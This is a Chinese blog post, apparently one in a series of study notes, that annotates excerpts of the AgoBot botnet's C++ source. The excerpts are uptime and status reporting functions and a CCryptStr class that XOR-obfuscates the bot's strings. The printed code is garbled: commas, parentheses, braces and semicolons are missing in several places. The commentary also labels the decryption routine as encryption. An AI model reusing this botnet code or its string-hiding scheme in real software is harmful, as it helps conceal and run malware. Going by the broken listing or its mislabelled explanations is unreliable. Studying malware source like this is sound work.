AgoBot 僵尸网络研究笔记(十四)

 

十四、2008年04月8日

 

作者:青青子衿

email:[email protected]

1 LongUptime ( int   iDays )  函数

///////////////////////////////////////////////////////////////////

//

//函数功能:获得系统正常运行的时间,如果这个值大于参数的值则显示,

//参数:   int iDays 一个整数,比如7

//

//

///////////////////////////////////////////////////////////////////

CString   CBot :: LongUptime ( int   iDays )   // If uptime > iDays days then bot will reply with uptime stats. - PhaTTy

{  

  CString   sLongUptime ;

  if  ( iDays  == 0) 

  {

    return   false ;

  }

 

#ifdef  WIN32

  int   total = GetTickCount ()/1000;  //获得当前系统从启动到现在的时间,除以1000则以秒为单位

  OSVERSIONINFO   verinfo ;

  if ( total /86400 >=  iDays //如果天数大于参数

  {

    //构造时间格式是:天、小时、分

    sLongUptime . Format ( "uptime: %dd %dh %dm" , total /86400, ( total %86400)/3600, (( total %86400)%3600)/60); 

 

  }

  else  

  {

    return   CString ( "" );  //返回空字符串

  }

#else

 

  //处理Linux平台下的情况

  FILE  * fp = fopen ( "/proc/uptime" "r" );

  float   f1 f2 ;

 

  if (! fp

  {

    return   CString ( "Error: Can't open /proc/uptime!" );

  }

  if ( fscanf ( fp "%f %f" , & f1 , & f2 )<2) 

  {

    return   CString ( "Error: Invalid or changed /proc/uptime format!" );

  }

  fclose ( fp );

 

  int   days hours minutes ;

  days =(( abs (( int ) f1 )/60)/60)/24;

  hours =(( abs (( int ) f1 )/60)/60)%24;

  minutes =( abs (( int ) f1 )/60)%60;

  if ( days  >=  iDays )

  {

    sLongUptime . Format ( "uptime: %dd %dh %dm" days hours minutes );

  }

  else  

  {

    return   CString ( "" );

  }

#endif  // WIN32

  return   sLongUptime

}

2 Status ()   函数

///////////////////////////////////////////////////////////////////

//

//函数功能:获得Bot运行的时间

//参数:  

//返回值:   保存有运行时间的字符串

//

/////////////////////////////////////////////////////////////////////

CString   CBot :: Status ()

{

  CString   sStatus ;

  unsigned   long   total days hours minutes

  total =( GetTickCount ()/1000)- m_lStartTime ;

  days = total /86400;

  hours =( total %86400)/3600; 

  minutes =(( total %86400)%3600)/60;

  sStatus . Format ( "%s ready. Up %dd %dh %dm." g_cMainCtrl . m_sNameVerStr . CStr (),  days hours minutes ); 

  return   sStatus

}

1、 CCryptStr   类,为CString的子类,主要增加了对字符串加密功能的支持,但没有支持解密功能。

class   CCryptStr  :  public   CString

{

  //该类中未出现解密函数

public :

  CCryptStr ( int   iKey );

  ~ CCryptStr ();

  char  * Str ();

  void   Release ();

protected :

  void   Decrypt ();

  int   m_iKey ;   //密钥

  char  * m_szDecStr ;   //密文字符串buffer

  //关于明文字符串buffer部分,在其父类CString的buffer中

};

3 CCryptStr ( int   iKey )  构造函数

////////////////////////////////////////////////////

//

//函数功能:构造函数

//参数:   int iKey  密钥

//

////////////////////////////////////////////////////

CCryptStr :: CCryptStr ( int   iKey )

  m_iKey = iKey

  m_szDecStr = NULL

}

4 :~ CCryptStr ()  析构函数

////////////////////////////////////////////////////

//

//函数功能:析构函数

//

/////////////////////////////////////////////////////

CCryptStr ::~ CCryptStr () 

  Release ();

}

5 Decrypt ()  加密函数

////////////////////////////////////////////////

//

//函数功能:加密函数,属于简单加密

//参数:  

//返回值:   void

//

///////////////////////////////////////////////

void   CCryptStr :: Decrypt ()

{  

  if (! m_iKey

  {

    return

  }

 

  if ( m_szDecStr

  {

    free ( m_szDecStr ); 

  }

 

  m_szDecStr =( char *) malloc ( GetLength ());

  for ( char   i =0;  i < GetLength ();  i ++) 

  {

    m_szDecStr [ i ]= m_szString [ i ]^( m_iKey +( i *( m_iKey %10)+1)); 

  }

}

6 Str ()   函数

////////////////////////////////////////////////////////////////////////

//

//函数功能:返回字符串的密文

//参数:  

//返回值:   密文字符串

//

////////////////////////////////////////////////////////////////////////////

char  * CCryptStr :: Str () 

  Decrypt (); 

  return   m_szDecStr

}

7 Release ()  函数

/////////////////////////////////////////////////////////////////

//

//函数功能:释放保存密文的缓冲区

//参数:  

//返回值:   void

//

//////////////////////////////////////////////////////////////////

void   CCryptStr :: Release () 

  if ( m_szDecStr )

 

    free ( m_szDecStr ); 

    m_szDecStr = NULL

 

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章